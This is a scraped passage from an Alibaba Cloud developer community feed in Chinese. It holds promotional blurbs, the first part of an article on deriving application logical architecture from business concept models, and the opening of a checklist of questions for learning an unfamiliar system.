    点击领取大礼包

    资料下载

    独家| 对阿里云庞大的技术产品一知半解?这里是16大领域,超过4000个技术问答

    四月初,为解决大家对于云计算问题难以找到正确答案的难题,四位热心大咖做了一件“轰轰烈烈”的事情~我们将阿里云帮助文档中最容易频率出现最高的内容全部整理出来,供大家参考以及查阅。

    想要更深入的了解阿里云、云计算、弹性计算、ET大脑、人工智能等知识,跟着清单、点击下方你感感兴趣的领域,带你走入云计算的世界!

    【精品清单】学Java初、中、高级程序员必不可少的学习清单

    一人走易,众人走难。为广大开发者们共同进步,开发者社区问答频道针对初、中、高级的同学,特别为大家准备了不同的内容,还有学习方法论为大家倾情奉上。

    扫描二维码加入社区圈
    5555

    ]]>
    从方法到思维:什么是应用逻辑架构的正确姿势?(上)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一 背景

    1.1 架构中的问题识别

    需求分析,架构实现,(新需求,架构改动)* n = 推倒重来。

    这个过程是一个循环往复的过程,有的产品每年都会推倒重来一次。

    而这个过程是如何造成的呢?原因之一是每次迭代过程中都没有用正确的架构方法来进行迭代造成的,就像在歪楼上继续加盖楼层一样,最终还是会倒塌(不过这个原因并不是唯一的原因,其他原因留到后续文章中阐述)。

    这真是一个悲伤的故事,但是又是一个时常发生的故事。或者说我们大多数人都经历过的场景。

    要解决这个问题,那就需要在每次迭代中,都需要用正确的姿势对不对?要用对姿势其中有一个重要的原因是架构。就像一幢大楼,架构设计得越有问题,这幢大楼被重造的可能性就越大。

    这里正确的姿势到底是什么姿势?接下来本文会阐述一整套架构方法论,该方法论中包含了详细的架构推导逻辑,帮助我们在工作中在各个粒度,各个层次做好架构工作。

    我们后续的文章中将会着重阐述如何通过自底向上以及自顶向下的两种架构思考方式来解决这些问题,但是在那之前,我们还是先来聊聊什么叫“架构”。

    1.2 什么是架构?

    大概是在 11 年前左右,在土豆网做广告平台,同时也做视频 CDN 的相关事情,当时做一个服务,基础架构是 lighttpd + squid + tomcat,将静态资源分离到 httpd,get 请求使用 squid 缓存,智能路由使用 HTTP post 请求,并让 tomcat 提供服务,当时就觉得这就是架构。再后来,做了视频 CDN 相关的基础建设的工作,就觉得这就是做架构,关键那个时候也没有人告诉我们什么架构,自己不知道自己不知道。

    再后来慢慢成长,又去做了几年中间件(包括高性能 RPC 和 JSR-170),然后就觉得这也是做架构。当时也没有前辈跟我讲什么是架构,那个时候的我对架构是没有体系化认知的,都是凭着感觉做的,是不知道自己不知道。

    再后来,来到了阿里做应用研发和架构了,发现业务开发中也包含了各种方法论,而以前看过的建模相关的资料,在中间件等基础设施上也没有太大的感觉,反而在业务技术领域发挥出了巨大的光芒。也发现越靠近用户的架构,随着企业的慢慢壮大会变得越来越重要。这个时候的我对架构认知是知道自己不知道了。

    既然知道自己不知道了,那么就是要追寻它,曾经我和不少业务的研发同学讨论过架构是什么,撇去基础设施架构和物理架构等视角不谈(这些视角聊起来也是篇幅很长的),我挑应用逻辑架构并从几个角度来尝试描述一下:

    1)从架构的总原则的角度:尽可能简单(在当前场景下要尽可能简单便于扩展和维护),但是不能太简单(相对而言太过于简单可能在场景上有所遗漏).

    2)从架构的目的角度来考虑:既要解决过去的问题,也要解决现在的问题,还能适度解决未来的问题,这些问题既包含技术问题,更包含业务问题。

    3)从形态之 2 维的角度来考虑:架构就是横的问题,和竖的问题。横就是分层,竖就是分区,横竖都有抽象的事情要做。

    4)从形态之 3 维的角度来考虑:架构是三维的,在 x 轴和 y 轴上有横竖的问题,在z轴上还有粒度的问题。

    5)从时间轴的角度来考虑:架构不是一层不变的,是随着业务的发展在不断变化的。

    可以看出,虽然我试图从以上几个视角对架构进行了描述,但是显然这些描述都是见仁见智的观点,是从某个角度来看架构。内心里我觉得自己提炼的高度是不够的,实践中的总结必须和业界的知识结合起来,我必须学习前人已经总结的体系。于是在不断的搜集资料的过程中,我发现在 ISO/IEC 42010:20072 中对架构有如下定义:

    The fundamental organization of a system, embodied in its components, their relationships to each other and the environment, and the principles governing its design and evolution.  

    image.png

    这个最顶层抽象我个人觉得非常到位,根据这个定义,显然,我们在架构中需要:

    • 职责明确的模块或者组件
    • 组件直接的关联关系非常明确
    • 需要有约束和指导原则

    这个架构的定义很简练,很实在。小到一个玩具,大到一个国家的运作都可以隐含着这样的内容。

    但这是一个广义上定义的架构,经过一些总结思考,我觉得实际上具体到我们日常的工作中,在不同的层次,会有更加精细化的架构分类。

    1.3 架构有哪些分类

    在工作中我遇到不同职位的人从不同的角度来描述架构,但是我们鲜有能达成共识的,刚开始我也不知道为啥讨论不到一块去,后来经过一段时间的纠结和深入仔细的思考后,我发现很多时候大家描述的架构都不是同一个角度的东西,于是我尝试从如下几个角度划分架构的类别,以帮助我们在不同的场景和不同的人聊天时大家可以聚焦,明确我们到底是在讨论哪种架构,以提升沟通效率,并尽快达成共识,目前这个划分已经在我们团队基本达成共识。

    值得注意的是,不管下面哪种分类的架构,都符合上一节总的架构的定义:模块(组件)+ 关系 + 约束 & 原则。

    1. 产品功能架构

    这个是产品经理最喜欢讲的架构,一般来说,讲我们有什么功能的时候,产品功能架构描述的是能做什么,受众群体一般是使用产品的同学。如果我们做软件设计时,不应该产出这玩意,而是应该产出应用逻辑架构和应用物理架构。但是一旦我们要对外宣讲我们的产品,比如我们的接口有啥用,应该怎么用,这个时候我们讲的应该是产品功能架构。

    • 目的:指导用户使用产品,所以模块的聚合是从用户视角出发的
    • 受众:使用产品的人
    • 包含的内容:阐述产品功能模块的能力:比如一辆汽车,方向盘有什么功能,方向盘的按钮上各区域的功能是什么,仪表盘分成哪些功能模块,每个功能模块有什么作用,油门踏板有什么作用,刹车踏板有什么作用。但是也不排除有些高阶用户需要明确知道变速箱的齿比等信息,所以在产品功能架构图上也可以描绘出来。
    • 命名:这里命名需要考虑如何取一个吸引人的名字(同时又能表达产品的能力)来吸引我们的用户前来使用,比如说以前经常有产品套用“纳米”,又有产品套用“绿色”等等。

    2. 业务能力架构

    用来分析业务,业务概念架构是指拥有哪些业务模块,且各自的能力是什么,这张图有助于我们分析和理解业务需求,也有利于产品经理分析业务。所以业务概念架构和业务概念模型都是用在分析阶段。

    • 目的:研发人员和业务人员理解业务内在的概念和联系。
    • 受众:研发人员和业务人员,主要是给规划业务的人使用。
    • 包含的内容:业务能力,能力中的子能力。

    3. 应用逻辑架构

    软件设计本身,模块,粒度,职责,复用,等等,在讲解软件设计的时候,使用的是这个架构图,这个架构图是通过系统模型和业务概念架构推导而来。所以系统模型和应用逻辑架构都是用在软件设计阶段。

    • 目的:指导软件的研发。
    • 受众:研发人员,各层级架构师,各层级技术管理者。
    • 包含的内容:阐述架构中各模块的职责:如系统模型,技术模块,技术模块的关系,技术模块的核心抽象,如何用设计模式来让架构符合软件设计原则,等等。如果拿汽车举例,那就是发动机模块中包含了哪些子模块(活塞,曲轴,连杆,缸体,缸盖,等等)发动机模块和变速箱模块之间的关联关系是什么,如何协同工作,和底盘的关联关系是什么,如何协同工作。发动机,底盘,变速箱,电子系统在整辆汽车中的职责,关系,约束是什么。这些都是用来指导汽车研发的。而不是指导用户如何使用这辆汽车的。
    • 命名:这里的命名需要朴实无华,精准的描述出职责,华而不实反而让技术的同学无法理解这到底是什么玩意,导致实施的时候职责放错地方,挖下大坑让后人来填。

    4. 应用物理(部署)架构

    软件部署时的架构,这张图推导自应用逻辑架构,推导时重点逻辑架构如何落地,比如使用何种微服务容器,逻辑架构的模块落地时应该是 package,还是应用,也有可能是一组应用,是不是要跨机房部署,甚至跨国部署等等。还需要考虑稳定性,性能,成本等话题。

    5. 基础设施架构

    选择什么样的中间件,存储,监控,报警,等等。

    6. 等等

    1.4 能力和职责的区别

    在日常的架构讨论中,有的同学经常谈架构的能力,有的同学经常谈架构的职责,那么能力和职责有什么区别?跟产品的同学打交道多了之后,发现产品同学很多都是讲能力,后来技术的同学也开始讲能力,而通常我们架构的同学原来讲的都是职责,两者有什么区别呢,我说说自己的理解:

    1. 能力(产品功能模块的能力)

    是指一个产品能做什么,比如中台本身是一个产品,对使用中台的同学来说,我们应该讲中台的能力(其实是在讲中台这个产品的能力)。所以讲能力是讲给架构的使用者或者其他想了解的人来听的。

    2. 职责(逻辑架构中各模块的职责)

    是指架构内模块的职责,用来指导开发,比如中台研发的同学,应该讲架构的职责,依赖,约束。所以讲职责是讲给研发的同学,讲给域内的架构师,讲给域内的管理者来听的,总的来说就是讲给架构的实现者来说的。

    简单来说就是:能力是指产品的能力,职责是指架构内部的职责。如果架构本身也是一个产品需对外输出(如中台,或者其他技术框架作为产品输出),则对外输出时,我们应该讲这个技术产品的能力(这个时候技术的同学也就开始讲能力了)。所以当我们讨论问题的时候,如果有的人在谈产品能力,有人在谈架构内部职责,那么显然已经不是在讨论同一个话题了,请大家务必注意区分这种情况,差之毫厘,谬以千里,鸡同鸭讲啊。

    比如说两个模块 A 和 B,职责不一样,但是依赖了相同的二方库。那我们不能说某个职责在这个二方库里。这个二方库作为某个独立的技术小产品,提供了某些能力。但是履行职责的还是 A 模块或者 B 模块。

    1.5 应用逻辑架构的地位

    正如前面我们描述的架构分类所描述,有些架构和具体业务是无关的,有些架构是和具体业务息息相关的,比如说应用逻辑架构就是和业务息息相关,它来源于业务的抽象,甚至我们可以说:它是业务线技术架构设计中第一份产出。

    既然他是首要的产出,我们就必须要考虑应用逻辑架构中应该包含的三类主题:

    • 模块
    • 依赖
    • 约束

    绝大部分的架构问题都可以归纳成这三类主题,这些主题包含哪些内容呢?这就是本文接下来要介绍的内容,应用逻辑架构的设计不需要拍脑袋,是通过科学的方法体系推导出来的。

    二 架构的两种推导思路

    架构的产出总的来说有两种方式,一种是自顶向下的方式来推导架构,一种是自底向上的推导方式,而且两种方式往往是相互结合来产出最合适的结果。而在业务线的同学,可能接触最多的是自底向上的推导的方式,自底向上的推导的方式也是本文中要重点讲解的架构推导方式。

    2.1 自顶向下的架构推导

    自顶向下的推导的关键问题在问题定义,如果问题没有被准确的定义,那么自顶向下就无法推导出正确的结果。假设问题被准确的定义了,如何自顶向下推导呢?

    2.2 自底向上的架构推导

    我们在业务线做开发的同学,每天肯定跟很多需求打交道,这些需求哪里来的?基本上有这三种产出:

    1. 有些是来自产品方一拍脑袋产生的灵感
    2. 有些是对数据进行了详细的分析产出的产品策略
    3. 有些是当前产品中暴露的一个个问题

    产品方的这些详细的需求来了之后,我们是如何应对的呢?我们首先和产品方一起讨论产品方案的合理性,在产品方案合理的基础上,我们来开始识别用例,开始了一系列软件工程领域方面的措施。其整体过程如下图所示:

    image.png

    自底向上推导逻辑架构就是最右边代表的那条曲线。

    这里基本上就是本文接下来要重点阐述的:如何自底向上推导应用逻辑架构,这个过程就是一个抽象和架构的过程。

    那么我们从整体方法论的介绍开始,采用总分总的结构,下面这张图就是应用逻辑架构自底向上的推导路径,这个推导路径是有序的,每个步骤都包含了大量的操作技巧,前一步做好,后一步才有可能得出正确的结果。

    image.png

    这张图中有几个重点:

    1)软件研发分成了两个阶段:

    • 分析阶段,也是我们常说的问题空间领域建模,关键的一步是业务概念模型的输出,而业务概念模型输出的前置条件是从需求中分解出合理的用例集合。
    • 设计阶段,也是我们常说的解决方案空间建模,以及应用逻辑架构。

    2)图中存在了箭头这个东西,说明了我们做架构推导的主要的思维路径,也说明做架构不需要拍脑袋,都是根据严密的逻辑推导出来的。

    这个严密逻辑基本是一个自底向上的推导过程,底层的模型是通过建模方法演绎出来,逻辑架构中的各个模块是通过归纳的方法推导出来。那么:

    • 什么地方应该用演绎,什么地方应该用归纳呢?
    • 使用演绎的时候应该使用何种具体方法呢?
    • 使用归纳的时候应该使用何种具体方法呢?

    我们再留一个悬念,后面再讲。

    不管是演绎还是归纳,都是抽象工作的一部分,而且都需要素材,这里的素材就是我们对需求,对业务的理解,以及对技术的深度广度的把握。没有素材,方法论掌握再好也得不出结果。

    素材哪里来呢?

    业务素材的来源大部分是你需要解决问题所在的领域,比如我们在电商领域,那么我们就要多搜集电商领域的业务知识。如果我们在数据领域,自然要多搜集数据业务的相关知识,以及我们前文中讲到的技术类的相关知识。

    而技术素材是要求我们在技术领域不断的钻研,不断的扩展边界,深度不断增加,广度也不断增加。所以对于架构师来说计算机科学与技术是绝对要不断精进的。

    2.3 两个方法的区别

    自顶向下推导的一个前置条件就是你需要知道猪长什么样,在架构上就是你需要知道这个架构的原来是是什么样子的,解决什么问题的。如果都不知道猪长什么样,那么就无从判断猪是不是适合当宠物了。此处需要有一定的业务领域理解力和领域经验(包含:客户的问题和痛点是什么,怎么分析出来的,当前的架构方案是什么,当前的架构方案是如何解决这个问题的,未来的架构方案如何更好的解决这个问题)。

    而自底向上推导则没有这个问题,因为是看着猪来做推导的,知道猪的细节,这个细节的特点如何演绎,如何归纳,最后得出结论。

    所以当我们不熟悉一个大的业务的时候,我们自顶向下推导架构的难度是极大的,几乎不能完成。不了解业务或技术情况时定义出来的问题也未必是一个被正确定义的问题,容易给人造成一个印象:瞎指挥。

    这个时候如何在没有知识背景的情况下快速落地就得自底向上的来推导架构。在自底向上的过程中慢慢熟悉业务。

    但是如果工作中每每都是纯粹的自底向上的推导架构,是无法帮助我们来做技术的前瞻性布局的,此时架构师的成长就遇到的瓶颈,所以此时又要使用自顶向下的架构推导方式。

    综上所述,不管是自底向上,还是自顶向下,都是架构师需要掌握的技能。

    三 自底向上的架构方法:业务概念架构推导

    这部分内容,我在 ICBU,村淘,一达通,菜鸟,AE 现场分享过。尤其是在 AE,一达通和菜鸟,相关的同学都拿出了当时的纠结大家很久的难题,我们一起使用了这样的方法很快就分析出了业务概念模型,并且对模块进行了简要的划分,形成概要的业务概念架构。经过大量的实战,效果是非常明显的。

    3.1 模型的 3 个层次

    image.png

    在这里,我把一些常见的概念集中起来,便于大家统一概念:

    1)业务概念模型,问题空间领域模型,信息模型是同样的意思,这个层次上的实体我们称之为概念实体,这部分内容是用在需求和业务分析上的,讨论业务概念模型时完全不需要考虑软件的实现,这个过程是一个分析过程,即使不做软件研发,做其他的研发,类似的分析过程也应该是有的。

    2)系统模型,解决方案空间领域模型,逻辑模型是同样的意思,这个层次上的实体,我们称之为系统实体,或者逻辑实体,就是各种类,这个是用在软件设计和软件研发上的。

    3)存储模型,数据模型,物理模型,在这里也是同样的意思,这个层次上的实体,我们称之为数据实体,或者物理实体,也是用在软件设计上。

    这 3 个层次其实是从 3 个角度在看待问题,他们之间是自上而下的转换的关系,这里尤其要注意的两个词是:逻辑的,顺序的推导。

    这些不同层次的模型是应用逻辑架构的基础!!!

    3.2 模型的推导

    3.2.1 用例集合推导概念模型

    1-18.gif

    1. 根据用例集合推导业务概念模型
    2. 根据用例中的动词和量词推导业务概念模型的关联关系
    3. 在特定的边界内根据模型的职责归纳子域

    重要!重要!重要!这里业务概念模型如果没有分析正确,那么下面要搞清楚是不容易的,这个分析部分是软件逻辑架构设计的基础。

    这个环节需要我们理解业务,更需要我们掌握问题空间建模这一严谨的方法论,这样我们才能推导出合理的模型,整个过程是非常严谨的,非常符合逻辑的。

    我在各 BU 分享现场做的多次实战演练之所以能成功的快速帮助同学们梳理出前面花一两个月都没有理出的模型,完全是因为于现场的同学对业务的理解(因为讨论之前我完全没有了解过对方的业务)和这套方法论(隐含在我的提问方式中)。所以说对业务的理解和方法论,两者缺一不可。

    3.2.2 对业务概念模型进行归纳

    在模型产出之后,我们要对模型进行归纳。

    什么叫归纳?

    归纳的意思是将所有的结果和想法合并,变成一种思维概念。或者让某个模型归属于某个已经存在的思维概念。且这些模型或者模块的职责不能超越这个高层次思维概念的边界。

    为什么要归纳?

    其实是为了保证相近的职责模型聚拢在一起从而保证职责的高内聚,同时明确出来的两个子域的边界,保证模块和模块之间的低耦合。

    对业务概念模型的归纳有助于做业务需求分析时判断高内聚和低耦合,而且在系统模型上,对系统模型进行分类也有助于做应用逻辑架构中模块的高内聚和低耦合,但是应用逻辑架构的不止高内聚和低耦合,还有其他让职责单一的方法,这些后面的章节会做介绍。

    3.2.3 按职责来进行归纳

    接下来我们来讲讲业务概念模型到业务概念架构判断方法:

    1)通过名词定义来进行归纳思维概念

    如果多个模型都在围绕某个名词,那么我们倾向将这个名词提炼出来。产品在设计时,基本上我们已经能够得一个粗略的业务模块划分,但是这个粗略的划分是不一定是合理:

    一是有可能我们的理解是不到位的,导致用错了名词,这个我们前面的文章中也提到过了。

    二是这个结果也只是一个粗略的结果,需要进一步精化。

    2)通过内聚的度量公式来进行归纳

    image.png

    业务模型图中,模型和模型连线(连线就是模型和模型连接线)数量除以模型的梳理得到的值比较大的,那么我们可以看做是内聚,这些连线比较紧密我们趋向将其放到一个模块中,连线不是那么密切的,我们趋向于将它们放置在不同的模块中。然后我们再观察 连线数 / 模型数 观察内聚度量是高了还是低了,通过这样的方式归纳完成之后,我们再来通过度量公式来度量各模块的内聚和耦合程度。

    3)其他归纳方式

    如果我们划分出了基本模块,发现还有一些模型不确定应该放到哪些模块中,我们还可以使用创建者原则和信息专家原则来判断应该将该模型归纳如哪个模块。

    比如说,对存储系统进行系统建模,表和字段的关系在业务概念模型中是1对n的关系(在系统模型中是组合关系,强生命周期依赖,但是这里我们还没有到讨论应用逻辑架构的时候,只是在推导业务概念架构),此时将字段放到另外一个模块显然不合适,原因是根据创建者原则。

    当我们不清楚把字段模型放到哪个模块的时候,我们可以看看字段这个模型是由谁创建的。

    根据这条原则显然这里是表创建了字段,没有表对象,就没有字段对象,所以根据这条原则,我们就倾向于把字段模型放到表所在的模块中。

    重点:失去了最底层合理且正确的演绎,上层的归纳掌握的再好,也很难得出合理的结果。

    我们来看看归纳之后的效果示意图:

    image.png

    图中的 A1,A2,A3,A4 之类是示意图,表示 A 模块内部还存在子模块,当然我们其实是先推导出子模块,然后对子模块再次进行高级别归纳,形成父模块。

    父模块层级再进行归纳,就形成了祖父模块,或者再向上形成曾祖父模块等等。粒度越大的模块,一般都对应更大的组织,越存在跨团队沟通,所以划清边界的要求就越高。

    3.3 业务流程

    除了业务模型之外,业务流程也是我们需要总结并明确的地方,这个地方主要明确的就是边界和异常分支等等,尤其是异常分支非常重要,很多业务方案的设计中对异常分支的考量是不重复的,这需要工程师对业务方案提出挑战,以明确业务方案中的各种流程的异常分支。

    3.4 业务概念架构总结

    我们工作中常见的推导有两种方式,一种是自顶向下推导,一种是自底向上推导,显然,两种推导使用的方法是不一样的。细心的读者会发现,其实我们刚刚说的问题空间领域模型和边界分析这套方法就是自底向上的演绎和归纳方法。

    四 基础逻辑架构推导(软件设计阶段)

    前面我们讲到了业务分析阶段,也是问题空间建模和问题空间业务概念架构梳理,业务分析阶段和软件没有任何关系。但本文中它是软件设计的前置条件,没有 get 到点的同学,请务必再把前一章仔细阅读。

    接下来我们来讲讲软件设计阶段我们需要产出的应用逻辑架构。

    4.1 再谈逻辑架构特性

    文章开头讲到了逻辑架构的相关特点,我们回顾一下:

    • 应用逻辑架构的作用:我们把前面那个例子再搬过来:如果拿汽车举例,那就是发动机模块中包含了哪些子模块(活塞,曲轴,连杆,缸体,缸盖,等等)发动机模块和变速箱模块之间的关联关系是什么,和底盘的关联关系是什么,发动机,底盘,变速箱,电子系统在整辆汽车中的职责,关系,约束是什么。这些都是用来指导汽车研发的。而不是指导用户如何使用这辆汽车的。
    • 目的:所以系统模型和应用逻辑架构都是用在软件设计阶段,其目的是用来指导软件的研发。
    • 受众:逻辑架构的受众有哪些呢?一般是这些人:研发人员,各层级架构师,各层级技术管理者,总的来说他们都是架构的设计者和实现者。

    这里还是请大家务必要跟产品功能架构区分开来,它们的受众和目标是不一样的。

    4.2 基础逻辑架构的推导概要

    在文章开头的图中,我们讲到应用逻辑架构来源于系统模型,数据模型,业务概念架构,还有流程,如下图所示。

    image.png

    接下来,我们分别从三个角度来阐述逻辑架构的生成:

    1. 业务概念架构
    2. 模型(系统模型和数据模型)
    3. 流程(系统调用流和数据流)

    看到很多同学画的图没有区分出调用流和数据流,经常造成误解,造成沟通效率下降,甚至不能够准确的说明问题。所以在画图的时候,一定要注意区分调用流和数据流。

    接下来就根据业务概念架构和系统模型及流程来推导一下应用架构(逻辑架构)。我们来看一下一个简单的逻辑架构构成的 gif 示意图:

    1-10.gif

    从这张图中,我们可以看出应用逻辑架构是如何一步步被构成的,整个过程存在以下关键点:

    1)在业务概念架构的基础上推演应用逻辑架构。

    2)根据流程和系统模型来完善应用逻辑架构。

    3)横向提炼模块的问题:要实现业务模块,需要什么非业务模块的支撑,比如监控,报警,配置等等,而这部分内容往往还是可复用的。在上述动画中,可以理解成移动到最右侧的部分,当然可以移动到左侧,只是动画中没有体现出来。

    4)纵向提炼模块问题:有类似职责的模块在技术实现上是否可以提炼成可复用内容,提炼的结果可能是:

    1. 独立的服务复用,在上述动画中,可以理解成最下方。
    2. 或者二方库复用,在上述动画中,可以理解成最左或者最右侧。

    5)还有一些模块是为了支撑性能或者稳定性的,并非是从业务概念模型提炼而来,如图中深蓝色的模块。

    最终,出现的逻辑架构是分层的和分片的逻辑架构,下面我们来一步步阐述这个过程。

    4.3 根据业务概念架构推演

    业务概念架构图产出之后,基本上,我们逻辑架构的初步模型就具备了。所以我们可以理解成,第一步就是把业务概念架构直接先搬到应用逻辑架构中来,此处就不用多阐述了。

    啰嗦两句:尤其是较为顶层的粗粒度业务架构,一个是自顶向下分解得来,一个是自底向上演绎和归纳得来。而自顶向下分解尤其考验人对业务的理解能力,如果对业务理解不透彻,那很难产出合理的粗粒度业务概念架构。

    4.4 根据系统流程进行推演模块

    当业务概念架构产出之后,逻辑架构的骨架初成,接下来就是在这个框架上去填充内容。第一步就是根据流程来进行模块划分。

    总结一下,这里的方法就是,先根据业务流程,分解出系统时序图,根据时序图开始对模块进行归纳,从而得到粒度更大的模块。

    这是粒度比较细的根据流程划分模块的案例,在粒度更大的流程,此方法同样适用,看大家是工作在何种粒度上。

    通过流程来进行推导是我们日常工作必不可少的一部分,尤其当很多场景的流程具有业务共同点时,那么可以考虑提炼出这些业务共同点,以提升研发的效率。

    4.5 非业务线系统根据流程推导模块案例

    除了对流程进行归纳之外,我们还可以对系统模型进行归纳。我们知道,业务概念模型一般可以直接转换为系统模型,但是系统模型并不只是业务领域相关的模型,比如查询模型是一个经常出现的,这在 OLTP 的场景十分常见,而在 OLAP 的场景简直就是顶梁柱。非常常见的就是 SQL parser 模块,下图是 spark 体系中 SQL SQL 的主要流程和对应的模型,根据这个模型我们基本上也可以梳理出模块:

    image.png

    根据这个流程,我们发现了什么?我们发现了 spark 中是这样分模块的(这里面的模块已经落地成 package 了):

    image.png

    所以说按照业务流程转换成的系统流程来推导模块是非常重要的手段。

    除此之外需要还需要强调的是,流程和模块一样,也是有粒度的,相同粒度的流程节点放在一起才更加容易推导出合理的架构模块。至于什么叫相同粒度,请参考一下《金字塔原理》。

    流程的粒度很重要,粒度粒度粒度,请重视流程的粒度。

    4.6 根据性能 & 稳定性 & 成本等进行提炼模块

    前面讲的都是从业务的角度来阐述架构的推导,接下来我们从计算机科学与技术的角度来阐述一下这些非功能性模块的推导,这里拿性能来举个例子吧。

    数据分析的报表场景降低 RT 的方案

    在一些数据分析产品中,绩效监控及报表展示是一个非常重要的场景,这个场景下的数据量是比较大的,为了降低 RT,我们不得不通过 ETL 对数据进行预计算,将原有的大表清洗成聚合之后的小表,以加快查询的速度。这样做的缺点是每次进行报表的修改,就要进行相关的ETL逻辑,高时间和人力成本,高性能。

    为了把高时间和人力成本 & 高性能转换成低成本&高性能,我们需要把人工操作转换成自动操作,把 ETL 的过程去除。

    第一个选择是将一个大表的数据存储到另外一个支持大数据下高性能的查询引擎,这样就极大的减少了 ETL 的操作,但是这样就带来一个问题,就是大数据量下把数据从 ODPS 导入到某个 ROLAP 的查询引擎中是比较耗时的,而且每次查询需要进行在海量数据中进行大量的 scan,但实际上获取的数据量并不大。这样的查询的 RT 依然需要亚秒级。

    第二个选择是根据报表的定义,自动的将判断出用户需要查询什么结果,将查询结果提前计算出来,然后只把这些少量的预计算后的结果导入到 ROLAP 引擎中(具体请参考 apache 开源项目 Kylin)。然后在报表的场景下,查询的 RT 下降到了百毫秒级。

    显然我们要实现第二种方式,这个时候在业务功能没有增加的情况下,我们必须要增加一个模块,在我们的产品中,我们称之为 intelligent cube,因为我们这里引入了机器学习算法对 cube 的构建进行了预测,无需或者只需非常少量的人为参与。

    最后导致逻辑架构中有部分是来自业务概念架构推导而来,有部分是系统流程推导而来,有部分是因为性能 & 成本的需要产生的设计。

    注意:理论上来讲,逻辑架构上需要指出模块之间的依赖关系,只是如果这样,不是特别美观,所以就根据上下和左右的位置来大概描述模块之间的关系了。

    这两个案例基本可以说明,根据性能 & 成本 & 稳定性推导出来的模块也是逻辑架构组成的重要部分。

    但是这个还只是一个场景一个场景来解决 RT 问题,虽然 icube 自己内部是有个体系的,但是通过这样的方式来解决 RT 问题对于整个架构来说也是自底向上构建的一个环节。在下一篇文章中,我们将会阐述相同的案例,但是思路是自顶向下来构建性能领域的体系化架构。同样一个事情,用不同的思路来做,对总目标的帮助是不一样的,而且两个方法是互补的,谁都少不了。

    这样的模块是如何得来的呢?

    看上去我们都已经知道了系统中有不少类似的纯技术相关的模块,但是这些模块内部是如何设计出来的呢?

    一般来说有如下方法帮助我们做这些模块的内部设计:

    1)调查业界的开源技术类产品中是否有类似功能的,比如预计算在业界有 kylin,而星环等专业大数据公司也都有自己的 cube 预计算产品。

    2)查阅业界相关的论文,比如说在预计算领域就已经研究了几十年,计算机发展的不同阶段有不同的论文,网上一搜一大堆,不断研究,必对工作有帮助。

    3)多关注业界的牛人,看看他们在想什么,说什么,参加参加相关的会议。

    4)自己通过逻辑和数据结构 & 算法推导出来。

    如果每次都只通过自己的逻辑和自己已经掌握的知识来进行方案的推导是不够的,一个是我们的技能有时候和事情是不匹配的,但是我们往往不知道这样的事实的存在,所以此时一定要虚心学习,请教他人,扩展自己的知识边界,才能做出更好的方案和技术决策。

    4.7 应用逻辑架构推导小结

    根据上文所述,基本上应用逻辑架构的推导有 4 个子路径,他们分别是:

    1. 业务概念架构:业务概念架构来自于业务概念模型和业务流程
    2. 系统模型:来自于业务概念模型
    3. 系统流程:来自业务流程
    4. 非功能性的系统支撑:来自对性能,稳定性,成本的需要

    每个子路径中都存在相关的具体方法。

    如果真的要想学习东西,而且想学的更快更深入,就要关注自己如何集中注意力,要思考自己的思考方式,研究自己的研究方式。

    说明:以上是本文的上篇,关注阿里技术,后续我们将继续推出本文的下篇,继续讨论架构的基本约束、逻辑架构的复用以及逻辑架构分层的问题。

    ]]>
    灵魂 36 问,让你快速熟悉一个系统-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 前言

    开发人员经常会面临下面一些场景:

    • 新人入职,需要学习已有系统,作为 landing 的一部分,如何学习?
    • 被拉过去参与一个陌生系统的迭代开发或者系统维护(bugfix),如何快速上手?
    • 同事离职或转岗,需要把系统交接给你,怎么去接?内心 os:这是一口锅吗?

    image.png

    这样的场景多了,就需要去梳理常见问题以及应对方法,方便后续遇到类似场景可以快速应对。本文总结熟悉系统主要分三部分:业务学习、技术学习、实战。每部分会梳理一些在学习过程中需要解答的问题,这些问题随着经验的积累需要逐步补充完善。

    业务学习

    业务学习就是从业务角度去学习系统,我们需要了解系统的客户是谁、使用人是谁、带来了什么价值,系统提供了哪些功能等。不清楚业务,就等于不知道系统在干什么。技术是为业务落地而服务,清楚了业务才知道怎样用技术更好地服务业务,所以业务学习是熟悉一个系统的首要任务。这块主要的学习方式有跟产品、运营、开发沟通,学习产品设计文档文档、PRD、自己使用系统,还有一些常见图,如产品功能架构图、业务流程图、功能树,用例图等。

    常见问题:

    • 系统所在行业的情况是怎样?
    • 系统的目标用户是谁?比如是给公司高层做决策用?给运营或客服用?还是互联网用户用?
    • 平均有多少人在使用?高峰期多有少人在用?
    • 系统有什么业务价值?有哪些指标可以衡量系统业务价值?
    • 系统有哪些功能模块?
    • 系统有哪些领域概念?梳理下系统的领域模型。
    • 系统的关键业务流程有哪些?关键业务流程是怎样?
    • 系统的非功能性需求有哪些?如性能、质量、扩展性、安全性等。
    • 系统未来的发展规划是怎样?

    技术学习

    技术学习主要学习系统的架构、如何实现、系统的运维等。描述一个系统的架构有五视图方法论,五视图分别是:逻辑架构、开发架构、运行架构、物理架构、数据架构。

    逻辑架构

    逻辑架构着重考虑功能需求,系统应当向用户提供什么样的服务,关注点主要是行为或职责的划分。常用表达图形,静态图有包图、类图、对象图,动态图有序列图、协作图、状态图、活动图。逻辑架构的核心设计任务是模块划分、接口定义、领域模型细化。

    常见问题:

    • 有哪些子系统或模块?系统之间是什么样的关系?
    • 对外上下游接口有哪些?对接人是谁?
    • 关键业务流程怎么实现的?用类图、序列图等方式表达出来。

    开发架构

    开发架构关主要关注系统源代码、第三方SDK、使用的框架、中间件、工具包。

    常见问题:

    • 代码在哪?
    • 包怎么划分的?怎么分层?如 mvc、controller-service-dao。
    • 用了什么框架?如 ssh、dubbo。
    • 用了哪些工具包?如 apache commons、guava。
    • 用了哪些中间件?如 metaq、tair、schedulerX、Diamond。
    • 依赖哪些平台?如权限平台、流程引擎等。

    运行架构

    运行架构的着重考虑运行期质量属性,关注点是系统的并发、同步、通信等问题,这势必涉及到进程、线程、对象等运行时概念,以及相关的并发、同步、通信等。

    常见问题:

    • 系统能支撑多少 qps ?峰值 qps 多少?
    • 与上下游系统怎么交互的?rpc?http?同步还是异步?

    物理架构

    物理架构的设计着重考虑安装和部署需求,关注点是目标程序及其依赖的运行库和系统软件最终如何安装或部署到物理机器,以及如何部署机器和网络来配合软件系统的可靠性、可伸缩性、持续可用性、性能和安全性等要求。

    常见问题:

    • 系统如何发布部署?有哪些部署环境?
    • 系统有多少台机器?
    • 系统部署怎么部署的?关注接入层,部署方式,如集群部署、分布式部署等。
    • 有没有容器化?
    • 有没有多机房部署?

    数据架构

